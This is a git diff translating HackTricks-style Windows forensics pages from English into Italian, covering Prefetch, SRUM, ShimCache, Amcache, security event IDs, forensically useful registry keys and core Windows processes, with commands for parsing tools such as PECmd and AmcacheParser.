limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Il file `C:\Windows\Prefetch\Layout.ini` contiene i **nomi delle cartelle dei file che sono stati prelevati**. Questo file contiene **informazioni sul numero delle esecuzioni**, **date** di esecuzione e **file** **aperti** dal programma. +Per ispezionare questi file puoi utilizzare lo strumento [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** ha lo stesso obiettivo del prefetch, **caricare i programmi più velocemente** prevedendo cosa verrà caricato successivamente. Tuttavia, non sostituisce il servizio di prefetch.\ +Questo servizio genererà file di database in `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +In questi database puoi trovare il **nome** del **programma**, il **numero** di **esecuzioni**, i **file** **aperti**, il **volume** **accessed**, il **percorso** **completo**, i **tempi** e i **timestamp**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Puoi accedere a queste informazioni utilizzando lo strumento [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **monitora** le **risorse** **consumate** **da un processo**. È apparso in W8 e memorizza i dati in un database ESE situato in `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Fornisce le seguenti informazioni: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID e Percorso +- Utente che ha eseguito il processo +- Byte inviati +- Byte ricevuti +- Interfaccia di rete +- Durata della connessione +- Durata del processo -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Queste informazioni vengono aggiornate ogni 60 minuti. +Puoi ottenere la data da questo file utilizzando lo strumento [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di Compatibilità delle Applicazioni** sviluppato da **Microsoft** per affrontare i problemi di compatibilità delle applicazioni. Questo componente di sistema registra vari pezzi di metadati dei file, che includono: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Percorso completo del file +- Dimensione del file +- Ultima data di modifica sotto **$Standard_Information** (SI) +- Ultima data di aggiornamento del ShimCache +- Flag di esecuzione del processo -Such data is stored within the registry at specific locations based on the version of the operating system: +Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Per XP, i dati sono memorizzati sotto `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacità di 96 voci. +- Per Server 2003, così come per le versioni di Windows 2008, 2012, 2016, 7, 8 e 10, il percorso di archiviazione è `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, che accoglie rispettivamente 512 e 1024 voci. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Per analizzare le informazioni memorizzate, si consiglia di utilizzare lo strumento [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +Il file **Amcache.hve** è essenzialmente un hive del registro che registra dettagli sulle applicazioni che sono state eseguite su un sistema. Si trova tipicamente in `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Questo file è notevole per memorizzare registrazioni dei processi eseguiti di recente, inclusi i percorsi ai file eseguibili e i loro hash SHA1. Queste informazioni sono preziose per tracciare l'attività delle applicazioni su un sistema. +Per estrarre e analizzare i dati da **Amcache.hve**, si può utilizzare lo strumento [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Il seguente comando è un esempio di come utilizzare AmcacheParser per analizzare i contenuti del file **Amcache.hve** e restituire i risultati in formato CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Tra i file CSV generati, il `Amcache_Unassociated file entries` è particolarmente degno di nota per le ricche informazioni che fornisce sulle voci di file non associate. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Il file CVS più interessante generato è il `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Questo artefatto può essere trovato solo in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contiene informazioni sull'esecuzione recente di alcuni binari. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Puoi utilizzare lo strumento [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) per analizzare il file. ### Scheduled tasks -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Puoi estrarli da `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` e leggerli come XML. ### Services -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Puoi trovarli nel registro sotto `SYSTEM\ControlSet001\Services`. Puoi vedere cosa verrà eseguito e quando. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Le applicazioni installate possono essere trovate in `\ProgramData\Microsoft\Windows\AppRepository\`\ +Questo repository ha un **log** con **ogni applicazione installata** nel sistema all'interno del database **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +All'interno della tabella Applicazione di questo database, è possibile trovare le colonne: "Application ID", "PackageNumber" e "Display Name". Queste colonne contengono informazioni sulle applicazioni pre-installate e installate e possono indicare se alcune applicazioni sono state disinstallate, poiché gli ID delle applicazioni installate dovrebbero essere sequenziali. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +È anche possibile **trovare applicazioni installate** all'interno del percorso del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +E **applicazioni disinstallate** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events -Information that appears inside Windows events are: +Le informazioni che appaiono all'interno degli eventi di Windows sono: -- What happened +- Cosa è successo - Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Utenti coinvolti +- Host coinvolti (hostname, IP) +- Risorse accessibili (file, cartella, stampante, servizi) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** ## Understanding Windows Security Event Logging -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Gli eventi di accesso sono registrati nel file di configurazione della sicurezza situato in `C:\Windows\System32\winevt\Security.evtx`. La dimensione di questo file è regolabile e, quando la sua capacità è raggiunta, gli eventi più vecchi vengono sovrascritti. Gli eventi registrati includono accessi e disconnessioni degli utenti, azioni degli utenti e modifiche alle impostazioni di sicurezza, nonché accessi a file, cartelle e risorse condivise. ### Key Event IDs for User Authentication: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Indica che un utente si è autenticato con successo. +- **EventID 4625**: Segnala un fallimento di autenticazione. +- **EventIDs 4634/4647**: Rappresentano eventi di disconnessione dell'utente. +- **EventID 4672**: Denota accesso con privilegi amministrativi. #### Sub-types within EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: Accesso diretto dell'utente. +- **Network (3)**: Accesso a cartelle condivise. +- **Batch (4)**: Esecuzione di processi batch. +- **Service (5)**: Avvii di servizi. +- **Proxy (6)**: Autenticazione proxy. +- **Unlock (7)**: Schermo sbloccato con una password. +- **Network Cleartext (8)**: Trasmissione di password in chiaro, spesso da IIS. +- **New Credentials (9)**: Utilizzo di credenziali diverse per l'accesso. +- **Remote Interactive (10)**: Accesso remoto tramite desktop o servizi terminali. +- **Cache Interactive (11)**: Accesso con credenziali memorizzate senza contatto con il controller di dominio. +- **Cache Remote Interactive (12)**: Accesso remoto con credenziali memorizzate. +- **Cached Unlock (13)**: Sblocco con credenziali memorizzate. #### Status and Sub Status Codes for EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione degli username. +- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco brute-force. +- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force che ha portato a più accessi falliti. +- **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati. +- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori delle ore di accesso impostate, un possibile segno di accesso non autorizzato. +- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata. +- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti. +- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete. +- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket. +- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambiamenti obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account. +- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza. +- **0xC000015b**: Tipo di accesso negato - Tentativo di accesso con tipo di accesso non autorizzato, come un utente che cerca di eseguire un accesso di servizio. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Time Change**: Modifica dell'orario di sistema, potrebbe offuscare la cronologia degli eventi. -#### EventID 6005 and 6006: +#### EventID 6005 e 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **System Startup and Shutdown**: L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Deletion**: Cancellazione dei log di sicurezza, che è spesso un campanello d'allarme per coprire attività illecite. #### EventIDs for USB Device Tracking: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: Prima connessione del dispositivo USB. +- **10100**: Aggiornamento del driver USB. +- **EventID 112**: Orario di inserimento del dispositivo USB. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Per esempi pratici su come simulare questi tipi di accesso e opportunità di dumping delle credenziali, fai riferimento alla [guida dettagliata di Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulteriori informazioni sulle cause degli eventi, particolarmente notevoli nell'Event ID 4625. ### Recovering Windows Events -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi. ### Identifying Common Attacks via Windows Events -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Per una guida completa sull'utilizzo degli ID eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). #### Brute Force Attacks -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Identificabili da più registrazioni di EventID 4625, seguite da un EventID 4624 se l'attacco ha successo. #### Time Change -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +Registrato da EventID 4616, i cambiamenti all'orario di sistema possono complicare l'analisi forense. #### USB Device Tracking -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +Gli ID eventi di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento. #### System Power Events -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento. #### Log Deletion -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +L'EventID di sicurezza 1102 segnala la cancellazione dei log, un evento critico per l'analisi forense. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..f9d6fe8fa 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# Chiavi di Registro di Windows Interessanti -### Interesting Windows Registry Keys +### Chiavi di Registro di Windows Interessanti {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Informazioni sulla Versione di Windows e Proprietario** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- Situato in **`Software\Microsoft\Windows NT\CurrentVersion`**, troverai la versione di Windows, il Service Pack, l'orario di installazione e il nome del proprietario registrato in modo chiaro. -### **Computer Name** +### **Nome del Computer** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Il nome host si trova sotto **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** +### **Impostazione del Fuso Orario** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- Il fuso orario del sistema è memorizzato in **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** +### **Tracciamento del Tempo di Accesso** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Per impostazione predefinita, il tracciamento dell'ultimo accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Versioni di Windows e Service Pack -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- La **versione di Windows** indica l'edizione (ad es., Home, Pro) e la sua release (ad es., Windows 10, Windows 11), mentre i **Service Pack** sono aggiornamenti che includono correzioni e, a volte, nuove funzionalità. -### Enabling Last Access Time +### Abilitazione del Tempo di Ultimo Accesso -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Abilitare il tracciamento dell'ultimo accesso consente di vedere quando i file sono stati aperti per l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema. -### Network Information Details +### Dettagli sulle Informazioni di Rete -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Casa, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e le autorizzazioni. -### Client Side Caching (CSC) +### Caching Lato Client (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** migliora l'accesso ai file offline memorizzando copie di file condivisi. Diverse impostazioni di **CSCFlags** controllano come e quali file vengono memorizzati nella cache, influenzando le prestazioni e l'esperienza dell'utente, specialmente in ambienti con connettività intermittente. -### AutoStart Programs +### Programmi di Avvio Automatico -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- I programmi elencati in varie chiavi di registro `Run` e `RunOnce` vengono avviati automaticamente all'avvio, influenzando il tempo di avvio del sistema e potenzialmente essendo punti di interesse per identificare malware o software indesiderato. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando l'attività dell'utente che non è ovvia attraverso altri mezzi. -### USB Information and Forensics +### Informazioni e Forense USB -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- I dettagli memorizzati nel registro sui dispositivi USB possono aiutare a tracciare quali dispositivi sono stati collegati a un computer, potenzialmente collegando un dispositivo a trasferimenti di file sensibili o incidenti di accesso non autorizzato. -### Volume Serial Number +### Numero di Serie del Volume -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine del file su diversi dispositivi. -### **Shutdown Details** +### **Dettagli di Spegnimento** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- L'orario di spegnimento e il conteggio (quest'ultimo solo per XP) sono conservati in **`System\ControlSet001\Control\Windows`** e **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** +### **Configurazione di Rete** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Per informazioni dettagliate sull'interfaccia di rete, fare riferimento a **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- I tempi di connessione di rete, inclusi i collegamenti VPN, sono registrati sotto vari percorsi in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** +### **Cartelle Condivise** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Le cartelle condivise e le impostazioni si trovano sotto **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline. -### **Programs that Start Automatically** +### **Programmi che Si Avviano Automaticamente** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per essere eseguiti all'avvio. -### **Searches and Typed Paths** +### **Ricerche e Percorsi Digitati** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Le ricerche di Explorer e i percorsi digitati sono tracciati nel registro sotto **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** per WordwheelQuery e TypedPaths, rispettivamente. -### **Recent Documents and Office Files** +### **Documenti Recenti e File di Office** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- I documenti recenti e i file di Office accessibili sono annotati in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e percorsi specifici della versione di Office. -### **Most Recently Used (MRU) Items** +### **Elementi Usati di Recente (MRU)** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Le liste MRU, che indicano i percorsi e i comandi dei file recenti, sono memorizzate in varie sottochiavi `ComDlg32` e `Explorer` sotto `NTUSER.DAT`. -### **User Activity Tracking** +### **Tracciamento dell'Attività dell'Utente** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi il conteggio delle esecuzioni e l'ora dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** +### **Analisi delle Shellbags** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Le Shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzate in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi. -### **USB Device History** +### **Storia dei Dispositivi USB** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** e **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contengono dettagli ricchi sui dispositivi USB collegati, inclusi produttore, nome del prodotto e timestamp di connessione. +- L'utente associato a un dispositivo USB specifico può essere individuato cercando nei registri `NTUSER.DAT` per il **{GUID}** del dispositivo. +- L'ultimo dispositivo montato e il suo numero di serie del volume possono essere tracciati attraverso `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, rispettivamente. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate su sistema, rete e attività dell'utente sui sistemi Windows, puntando alla chiarezza e all'usabilità. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..90028fdfb 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -3,104 +3,104 @@ ## smss.exe **Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +La Sessione 0 avvia **csrss.exe** e **wininit.exe** (**servizi** **OS**) mentre la Sessione 1 avvia **csrss.exe** e **winlogon.exe** (**sessione** **utente**). Tuttavia, dovresti vedere **solo un processo** di quel **binario** senza figli nell'albero dei processi. -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +Inoltre, sessioni diverse da 0 e 1 possono significare che si stanno verificando sessioni RDP. ## csrss.exe **Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +Gestisce **processi** e **thread**, rende disponibile l'**API** **Windows** per altri processi e mappa anche le **lettere di unità**, crea **file temporanei** e gestisce il **processo** di **spegnimento**. -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +Ce n'è uno **in esecuzione nella Sessione 0 e un altro nella Sessione 1** (quindi **2 processi** nell'albero dei processi). Un altro viene creato **per ogni nuova Sessione**. 